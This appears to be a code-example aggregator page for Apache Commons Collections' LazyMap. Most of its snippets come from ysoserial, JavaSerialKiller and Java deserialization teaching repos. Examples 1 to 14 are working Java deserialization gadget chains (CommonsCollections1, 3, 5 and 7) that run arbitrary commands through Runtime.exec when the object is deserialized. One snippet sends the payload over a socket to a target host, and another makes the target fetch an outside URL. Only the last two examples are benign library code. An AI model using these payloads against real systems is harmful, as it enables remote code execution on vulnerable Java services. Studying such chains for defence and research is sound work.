org.apache.commons.collections.map.LazyMap Java Examples

The following examples show how to use org.apache.commons.collections.map.LazyMap. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: CommonsCollections3.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #2
Source File: CommonsCollections3.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #3
Source File: CommonsCollections3.java    From ysoserial with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #4
Source File: exp.java    From Java-Unserialization-Study with MIT License 5 votes vote down vote up
public static void main(String[] args) throws Exception {

        String targetAddress = args[0];
        int targetPort = Integer.parseInt(args[1]);

        // Build Runtime payload
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}),
                new ConstantTransformer("1")
        };
        Transformer transformChain = new ChainedTransformer(transformers);

        // Build a vulnerability map object
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");

        // Build an exception to trigger our payload when unserialize
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        Field valField = exception.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exception, entry);

        // send payload to target!
        // or write to file
        // ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        // oos.writeObject(payload);
        Socket socket=new Socket(targetAddress, targetPort);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
        objectOutputStream.writeObject(exception);
        objectOutputStream.flush();
    }
 
Example #5
Source File: ExampleTransformersWithLazyMap.java    From JavaDeserH2HC with MIT License 5 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException {

    String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado

    Transformer[] transformers = new Transformer[] {
            // retorna Class Runtime.class
            new ConstantTransformer(Runtime.class),
            // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
            new InvokerTransformer(
                    "getMethod",                                    // invoca método getMethod
                    ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
                    ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
            ),
            // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
            new InvokerTransformer(
                    "invoke",                                      // invoca método: invoke
                    (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
                    (new Object[] {null, new Object[0] })         // parâmetros: (null, new Object[0])
            ),
            // 3o. Objeto InvokerTransformer: .exec(cmd[])
            new InvokerTransformer(
                    "exec",                                       // invoca método: exec
                    new Class[] { String[].class },              // tipos dos parâmetros: (String[])
                    new Object[]{ cmd } )                        // parâmetros: (cmd[])
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM)

}
 
Example #6
Source File: CommonsCollections5.java    From ysoserial-modified with MIT License 5 votes vote down vote up
public BadAttributeValueExpException getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final String[] execArgs = cmdHelper.getCommandArray();
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[]{execArgs}),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
		
		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
		valfield.setAccessible(true);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}
 
Example #7
Source File: CommonsCollections1.java    From ysoserial-modified with MIT License 5 votes vote down vote up
public InvocationHandler getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final String[] execArgs = cmdHelper.getCommandArray();
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[]{execArgs}),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
		
		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
		
		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
				
		return handler;
	}
 
Example #8
Source File: CommonsCollections1.java    From JavaSerialKiller with MIT License 5 votes vote down vote up
public InvocationHandler getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
	
	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
	
	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
	
	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
			
	return handler;
}
 
Example #9
Source File: CommonsCollections5.java    From ysoserial with MIT License 5 votes vote down vote up
public BadAttributeValueExpException getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
	        new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

	BadAttributeValueExpException val = new BadAttributeValueExpException(null);
	Field valfield = val.getClass().getDeclaredField("val");
       Reflections.setAccessible(valfield);
	valfield.set(val, entry);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return val;
}
 
Example #10
Source File: CommonsCollections1.java    From ysoserial with MIT License 5 votes vote down vote up
public InvocationHandler getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #11
Source File: ExampleCommonsCollections1.java    From JavaDeserH2HC with MIT License 4 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    // Verifica se o usuário forneceu o comando a ser executado
    if (args.length != 1) {
        System.out.println("Invalid params! \n" +
                "Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
        System.exit(1);
    }

    // Seleciona o interpretador correto de acordo com o comando a ser executado
    //boolean isUnix = System.getProperty("file.separator").equals("/");
    boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
    String cmd[];
    if (isUnix)
        cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
    else
        cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado

    // Cria array de transformers que resulta na seguinte construção:
    //((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
    Transformer[] transformers = new Transformer[] {
        // retorna Class Runtime.class
        new ConstantTransformer(Runtime.class),
        // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
        new InvokerTransformer(
            "getMethod",                       // invoca método getMethod
            ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
            ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
        ),
        // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
        new InvokerTransformer(
            "invoke",                         // invoca método: invoke
            (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
            (new Object[] {null, new Object[0] })         // parâmetros: (null, new Object[0])
        ),
        // 3o. Objeto InvokerTransformer: .exec(cmd[])
        new InvokerTransformer(
            "exec",                          // invoca método: exec
            new Class[] { String[].class },              // tipos dos parâmetros: (String[])
            new Object[]{ cmd } )                        // parâmetros: (cmd[])
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //cria a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
    FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 
Example #12
Source File: DnsWithCommonsCollections.java    From JavaDeserH2HC with MIT License 4 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    String url = args[0];
    // Cria array de transformers que resulta na seguinte construção:
    // new URL(url).openConnection().getInputStream().read();
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(new URL(url)),
            new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
            new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
            new InvokerTransformer("read", new Class[] {}, new Object[] {})
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //criado a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in SleepExample.ser");
    FileOutputStream fos = new FileOutputStream("SleepExample.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 
Example #13
Source File: SleepExample.java    From JavaDeserH2HC with MIT License 4 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    // Cria array de Transformers que irá resultar na seguinte construção:
    //Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Thread.class), // retorna class Thread.class
        // 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
        new InvokerTransformer(
            "getMethod",                        // invoca método getMethod
            ( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
            ( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
        ),
        // 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
        new InvokerTransformer(
            "invoke",                           // invoca método: invoke
            (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
            (new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
        )
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //cria a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in SleepExample.ser");
    FileOutputStream fos = new FileOutputStream("SleepExample.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 
Example #14
Source File: CommonsCollections7.java    From ysoserial with MIT License 4 votes vote down vote up
public Hashtable getObject(final String command) throws Exception {

        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{command};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        return hashtable;
    }
 
Example #15
Source File: MapUtils.java    From Penetration_Testing_POC with Apache License 2.0 2 votes vote down vote up
/**
 * Returns a "lazy" map whose values will be created on demand.
 * <p>
 * When the key passed to the returned map's {@link Map#get(Object)}
 * method is not present in the map, then the factory will be used
 * to create a new object and that object will become the value
 * associated with that key.
 * <p>
 * For instance:
 * <pre>
 * Factory factory = new Factory() {
 *     public Object create() {
 *         return new Date();
 *     }
 * }
 * Map lazyMap = MapUtils.lazyMap(new HashMap(), factory);
 * Object obj = lazyMap.get("test");
 * </pre>
 *
 * After the above code is executed, <code>obj</code> will contain
 * a new <code>Date</code> instance.  Furthermore, that <code>Date</code>
 * instance is the value for the <code>"test"</code> key in the map.
 *
 * @param map  the map to make lazy, must not be null
 * @param factory  the factory for creating new objects, must not be null
 * @return a lazy map backed by the given map
 * @throws IllegalArgumentException  if the Map or Factory is null
 */
public static Map lazyMap(Map map, Factory factory) {
    return LazyMap.decorate(map, factory);
}
 
Example #16
Source File: MapUtils.java    From Penetration_Testing_POC with Apache License 2.0 2 votes vote down vote up
/**
 * Returns a "lazy" map whose values will be created on demand.
 * <p>
 * When the key passed to the returned map's {@link Map#get(Object)}
 * method is not present in the map, then the factory will be used
 * to create a new object and that object will become the value
 * associated with that key. The factory is a {@link Transformer}
 * that will be passed the key which it must transform into the value.
 * <p>
 * For instance:
 * <pre>
 * Transformer factory = new Transformer() {
 *     public Object transform(Object mapKey) {
 *         return new File(mapKey);
 *     }
 * }
 * Map lazyMap = MapUtils.lazyMap(new HashMap(), factory);
 * Object obj = lazyMap.get("C:/dev");
 * </pre>
 *
 * After the above code is executed, <code>obj</code> will contain
 * a new <code>File</code> instance for the C drive dev directory.
 * Furthermore, that <code>File</code> instance is the value for the
 * <code>"C:/dev"</code> key in the map.
 * <p>
 * If a lazy map is wrapped by a synchronized map, the result is a simple
 * synchronized cache. When an object is not is the cache, the cache itself
 * calls back to the factory Transformer to populate itself, all within the
 * same synchronized block.
 *
 * @param map  the map to make lazy, must not be null
 * @param transformerFactory  the factory for creating new objects, must not be null
 * @return a lazy map backed by the given map
 * @throws IllegalArgumentException  if the Map or Transformer is null
 */
public static Map lazyMap(Map map, Transformer transformerFactory) {
    return LazyMap.decorate(map, transformerFactory);
}